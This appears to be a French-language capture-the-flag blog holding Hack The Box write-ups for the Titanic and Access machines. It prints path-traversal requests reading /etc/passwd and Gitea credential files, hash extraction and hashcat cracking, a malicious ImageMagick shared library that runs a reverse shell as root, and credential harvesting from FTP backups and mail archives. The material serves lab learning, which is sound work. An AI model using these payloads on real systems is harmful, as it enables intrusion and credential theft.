User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-------------------------------

HTTP/1.1 200 OK
Date: Wed, 19 Feb 2025 12:47:55 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="../../../../../../../../etc/passwd"
Content-Type: application/octet-stream
Content-Length: 1951
Last-Modified: Fri, 07 Feb 2025 11:16:19 GMT
Cache-Control: no-cache
ETag: "1738926979.4294043-1951-2222001821"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

Grâce à /etc/passwd on repère l’utilisateur “developer”. On peut récupérer le fichier user.txt avec le flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


GET /download?ticket=../../../../../../../../home/developer/user.txt HTTP/1.1
Host: titanic.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------------------------
HTTP/1.1 200 OK
Date: Wed, 19 Feb 2025 12:48:04 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="../../../../../../../../home/developer/user.txt"
Content-Type: text/plain; charset=utf-8
Content-Length: 33
Last-Modified: Wed, 19 Feb 2025 12:36:23 GMT
Cache-Control: no-cache
ETag: "1739968583.7440214-33-1704137658"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

fc0c.....550f

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


<VirtualHost *:80>
 ServerName titanic.htb
 DocumentRoot /var/www/html

 <Directory /var/www/html>
 Options Indexes FollowSymLinks
 AllowOverride All
 Require all granted
 </Directory>

 ProxyRequests Off
 ProxyPass / http://127.0.0.1:5000/
 ProxyPassReverse / http://127.0.0.1:5000/

 ErrorLog ${APACHE_LOG_DIR}/error.log
 CustomLog ${APACHE_LOG_DIR}/access.log combined


 RewriteEngine On
 RewriteCond %{HTTP_HOST} !^titanic.htb$
 RewriteRule ^(.*)$ http://titanic.htb$1 [R=permanent,L]
</VirtualHost>

dev subdomain : dev.titanic.htb

En utilisant ffuf, on trouve un subdomain “dev”. On aurait pu y penser autrement, en effet l’utilisateur trouvé précédemment était “developer”. En vérité, j’ai trouvé cela en regarder la fichier /etc/hosts grâce à la LFI trouvé précedemment:

1
2


127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic

ATTENTION !! Le piège : on ne trouve rien avec gobuster dns. A l’avenir, il faut prioriser ABSOLUMENT ffuf pour trouver les sous-domaines !!

Cette commande ne trouve rien :

gobuster dns -d titanic.htb -w /usr/share/wordlists/dirb/common.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


┌──(kali㉿kali)-[~/htb/Titanic]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://titanic.htb/ -H "Host: FUZZ.titanic.htb" -mc 200

 /'___\ /'___\  /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\  \ \_\  \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://titanic.htb/
 :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200
________________________________________________

dev [Status: 200, Size: 13983, Words: 1107, Lines: 276, Duration: 135ms]

Gitea

dev.titanic.htb redirige vers une page Gitea.

Mysql password

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


version: '3.8'

services:
 mysql:
 image: mysql:8.0
 container_name: mysql
 ports:
 - "127.0.0.1:3306:3306"
 environment:
 MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
 MYSQL_DATABASE: tickets
 MYSQL_USER: sql_svc
 MYSQL_PASSWORD: sql_password
 restart: always

Fuzzing with ffuf

En faisant du fuzzing avec des plusieurs wordlists, on finit par trouver le fichier app.ini et surtout le working directory de gitea. Sur l’interface web de gitea on avait trouvé l’info le dossier : /home/developer/gitea/data

Mais il m’a fallu beaucoup de temps/fuzzing pour trouver qu’il fallait à nouveau écrire gitea…

J’ai utilisé la LFI, sous forme d’une requete “.req” récupérer sur BURP. Je mettais le mot “FUZZ” au bonne endroit dans la requete, donc apres le dossier data au début.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


GET /download?ticket=/home/developer/gitea/data/FUZZ HTTP/1.1
Host: titanic.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://titanic.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Voici l’execution de ffuf ensuite en utilisant notre requete et une liste de mot de passe:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78


┌──(kali㉿kali)-[~/htb/Titanic]
└─$ ffuf -request download.req -request-proto http -t 64 -w ./gitea_wordlist.txt

 /'___\ /'___\  /'___\
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\ \ \_\ \ \____/ \ \_\
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://titanic.htb/download?ticket=/home/developer/gitea/data/FUZZ
 :: Wordlist : FUZZ: /home/kali/htb/Titanic/gitea_wordlist.txt
 :: Header : Connection: keep-alive
 :: Header : Upgrade-Insecure-Requests: 1
 :: Header : Priority: u=0, i
 :: Header : Host: titanic.htb
 :: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
 :: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
 :: Header : Accept-Language: en-US,en;q=0.5
 :: Header : Accept-Encoding: gzip, deflate, br
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 64
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

gitea [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 139ms]
:: Progress: [2876/2876] :: Job [1/1] :: 404 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

-----------on rajoute "/gitea/FUZZ" dans le fichier .req et on recommence la recherche----------------

┌──(kali㉿kali)-[~/htb/Titanic]
└─$ ffuf -request download.req -request-proto http -t 64 -w /usr/share/wordlists/dirb/common.txt

 /'___\  /'___\ /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\  \ \_\  \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/FUZZ
 :: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Header : Host: titanic.htb
 :: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
 :: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
 :: Header : Accept-Language: en-US,en;q=0.5
 :: Header : Accept-Encoding: gzip, deflate, br
 :: Header : Connection: keep-alive
 :: Header : Upgrade-Insecure-Requests: 1
 :: Header : Priority: u=0, i
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 64
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

 [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 104ms]
attachments [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 149ms]
avatars [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 137ms]
conf [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 141ms]
home [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 156ms]
log [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 156ms]
packages [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 267ms]
queues [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 249ms]
sessions [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 225ms]
tmp [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 229ms]
:: Progress: [4614/4614] :: Job [1/1] :: 266 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

On observe l’utilisation d’une “gitea_wordlist.txt”. Je l’ai créer en récupérer le code source sur github, puis j’ai utilisé la commande suivante :

1

find ./gitea-1.22.1/ -type f -exec basename {} \; > gitea_wordlist.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123


GET /download?ticket=/home/developer/gitea/data/gitea/conf/app.ini HTTP/1.1
Host: titanic.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://titanic.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-------------------------

HTTP/1.1 200 OK
Date: Wed, 19 Feb 2025 22:34:22 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/home/developer/gitea/data/gitea/conf/app.ini"
Content-Type: application/octet-stream
Content-Length: 2004
Last-Modified: Fri, 02 Aug 2024 10:42:14 GMT
Cache-Control: no-cache
ETag: "1722595334.8970726-2004-2176520380"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

Gitea.db : developer user

1

curl "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" --output ./gitea.db

1
2
3
4
5
6
7
8


┌──(kali㉿kali)-[~/htb/Titanic]
└─$ sqlite3 ./gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> select * from user;
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0
3|a|a||a@a.com|0|enabled|0ae3825641016406643a122f7f3ca6c6b5cfc76abd40075f73eb8deff4cce5448bfa95dc5a4ff81d62cb77921cd224b2010d|pbkdf2$50000$50|0|0|0||0|||314efc292d5e9576a2154e9bc85facb8|24fc79c6b2aadeb9555d40312ac55460|en-US||1739990352|1739990365|1739990352|0|-1|1|0|0|0|0|1|0|d10ca8d11301c2f4993ac2279ce4b930|a@a.com|0|0|0|0|0|0|0|0|0||gitea-auto|0

Hashcat bruteforce

compte crée: b : 123456789

1

4|b|b||b@b.com|0|enabled|097c3c0cdbf50b536b20ef5e22b6dd8e58fbfa6230003f60a6a15577107d48618814da5e1c2984e3775fdbea3f61c41cd0ce|pbkdf2$50000$50|0|0|0||0|||d49587abbc61243dfde5146bec7ee24b|47b1683e379bca325752efd85fe1c31b|en-US||1740008072|1740008072|1740008072|0|-1|1|0|0|0|0|1|0|2076105f6efe7c11e285add95f514b9a|b@b.com|0|0|0|0|0|0|0|0|0||gitea-auto|0

┌──(kali㉿kali)-[~/htb/Titanic] └─$ john –list=format-details –format=pbkdf2-hmac-sha256

PBKDF2-HMAC-SHA256 125 24 192 01000003 48 PBKDF2-SHA256 256/256 AVX2 8x 0x107 32 188 iteration count 0 $pbkdf2-sha256$1000$b1dWS2dab3dKQWhPSUg3cg$UY9j5wlyxtsJqhDKTqua8Q3fMp0ojc2pOnErzr8ntLE

sqlite> select name, passwd_hash_algo, salt, passwd from user; administrator|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136 developer|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 a|pbkdf2$50000$50|24fc79c6b2aadeb9555d40312ac55460|0ae3825641016406643a122f7f3ca6c6b5cfc76abd40075f73eb8deff4cce5448bfa95dc5a4ff81d62cb77921cd224b2010d b|pbkdf2$50000$50|47b1683e379bca325752efd85fe1c31b|097c3c0cdbf50b536b20ef5e22b6dd8e58fbfa6230003f60a6a15577107d48618814da5e1c2984e3775fdbea3f61c41cd0ce

Ce qui nous donne :

sha256:50000:2d149e5fbd1b20cf31db3e3c6a28fc9b:cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136 sha256:50000:8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 sha256:50000:24fc79c6b2aadeb9555d40312ac55460:0ae3825641016406643a122f7f3ca6c6b5cfc76abd40075f73eb8deff4cce5448bfa95dc5a4ff81d62cb77921cd224b2010d sha256:50000:47b1683e379bca325752efd85fe1c31b:097c3c0cdbf50b536b20ef5e22b6dd8e58fbfa6230003f60a6a15577107d48618814da5e1c2984e3775fdbea3f61c41cd0ce

Enfin, en format hashcat avec du base64:

sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY= sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= sha256:50000:JPx5xrKq3rlVXUAxKsVUYA==:CuOCVkEBZAZkOhIvfzymxrXPx2q9QAdfc+uN7/TM5USL+pXcWk/4HWLLd5Ic0iSyAQ0= sha256:50000:R7FoPjebyjJXUu/YX+HDGw==:CXw8DNv1C1NrIO9eIrbdjlj7+mIwAD9gpqFVdxB9SGGIFNpeHCmE43df2+o/YcQc0M4=

On trouve ensuite le mot de passe developer en utilisant hashcat :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ hashcat -m 10900 hash_final.txt.b64 ~/wordlists/rockyou.txt
hashcat (v6.2.5) starting
...

Dictionary cache hit:
* Filename..: /home/leopold/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139922195
* Keyspace..: 14344385

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

developer : 25282528

Privilege Escalation

Exploitation : Image Magick

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


developer@titanic:/opt/app/static/assets/images$ find / -writable -type d 2>/dev/null | head
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/dbus.socket
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/gpg-agent.service
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/dbus.service
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/init.scope
/opt/app/static/assets/images
/opt/app/tickets
/home/developer
/home/developer/.gnupg

On trouve ces dossiers: /opt/app/static/assets/images /opt/app/tickets

Avec ce script:

1
2
3
4


developer@titanic:/opt/app/static/assets/images$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

On recherche une CVE pour magick, on trouve que notre version est vulnerable. On trouve le github, on suit les instructions. On construit une fausse librairie qui va executer du code en tant que root. il execute un shell.sh que j’ai defini et qui ouvre un revershell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
##include <stdio.h>
##include <stdlib.h>
##include <unistd.h>

__attribute__((constructor)) void init(){
 system("/opt/app/static/assets/images/shell.sh");
 exit(0);
}
EOF

1
2
3
4
5
6
7
8
9


┌──(kali㉿kali)-[~/htb/Titanic]
└─$ nc -lnvp 6666
listening on [any] 6666 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.55] 51460
sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
c304.....3cde

Tips

ATTENTION !! Le piège : on ne trouve rien avec gobuster dns. A l’avenir, il faut prioriser ABSOLUMENT ffuf pour trouver les sous-domaines !!

HTB | Access

Tue, 18 Feb 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Access	Windows	10.10.10.98	Easy

Users

1

security : 4Cc3ssC0ntr0ller

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


┌──(kali㉿kali)-[~/htb/Access]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.98
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ SYST: Windows_NT
23/tcp open telnet syn-ack ttl 127 Microsoft Windows XP telnetd
| telnet-ntlm-info:
| Target_Name: ACCESS
| NetBIOS_Domain_Name: ACCESS
| NetBIOS_Computer_Name: ACCESS
| DNS_Domain_Name: ACCESS
| DNS_Computer_Name: ACCESS
|_ Product_Version: 6.1.7600
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: MegaCorp

Foothold

FTP Anonymous connexion: Gettings 2 files

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


┌──(kali㉿kali)-[~/htb/Access/Access Control]
└─$ ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
425 Cannot open data connection.
200 PORT command successful.
150 Opening ASCII mode data connection.
08-23-18 08:16PM <DIR> Backups
08-24-18 09:00PM <DIR> Engineer
226 Transfer complete.
ftp> cd Backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 08:16PM 5652480 backup.mdb
226 Transfer complete.
ftp> cd ../Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
08-24-18 12:16AM 10870 Access Control.zip
226 Transfer complete.
ftp> ^D
221 Goodbye.

backup.mdb and Access Control.zip

En analysant les tables disponibles dans le fichier backup.mdb, on trouve la table “auth_user” qui contient un champs PASSWORD potentiellement intéressant.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


┌──(kali㉿kali)-[~/htb/Access]
└─$ mdb-schema backup.mdb | grep -i PASSWORD -A30 -B30
...
CREATE TABLE [auth_user]
 (
 [id] Long Integer,
 [username] Text (50),
 [password] Text (50),
 [Status] Long Integer,
 [last_login] DateTime,
 [RoleID] Long Integer,
 [Remark] Memo/Hyperlink (255)
);
...

On extrait la table auth_user et on récupère 3 credentials user/password.

1
2
3
4
5
6


┌──(kali㉿kali)-[~/htb/Access]
└─$ mdb-export backup.mdb auth_user
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

En ftp et telnet, aucun ne fonctionne. Cependant, en utilisant le mot de passe “access4u@security” sur le fichier “Access Control.zip”, l’archive se décompresse correctement !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


┌──(kali㉿kali)-[~/htb/Access]
└─$ 7z x Access\ Control.zip

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:3 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870


Enter password (will not be echoed): <<<<<<<<<<<<<<<< access4u@security
Everything is Ok

Size: 271360
Compressed: 10870

┌──(kali㉿kali)-[~/htb/Access]
└─$ ls
'Access Control.pst' 'Access Control.zip' auth_user.txt backup.mdb

Extracting emails from pst file

1
2
3
4
5


┌──(kali㉿kali)-[~/htb/Access]
└─$ readpst -r Access\ Control.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
 "Access Control" - 2 items done, 0 items skipped.

Getting “security” account password from emails

security: 4Cc3ssC0ntr0ller

1
2
3
4


┌──(kali㉿kali)-[~/htb/Access/Access Control]
└─$ cat mbox | grep pass
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
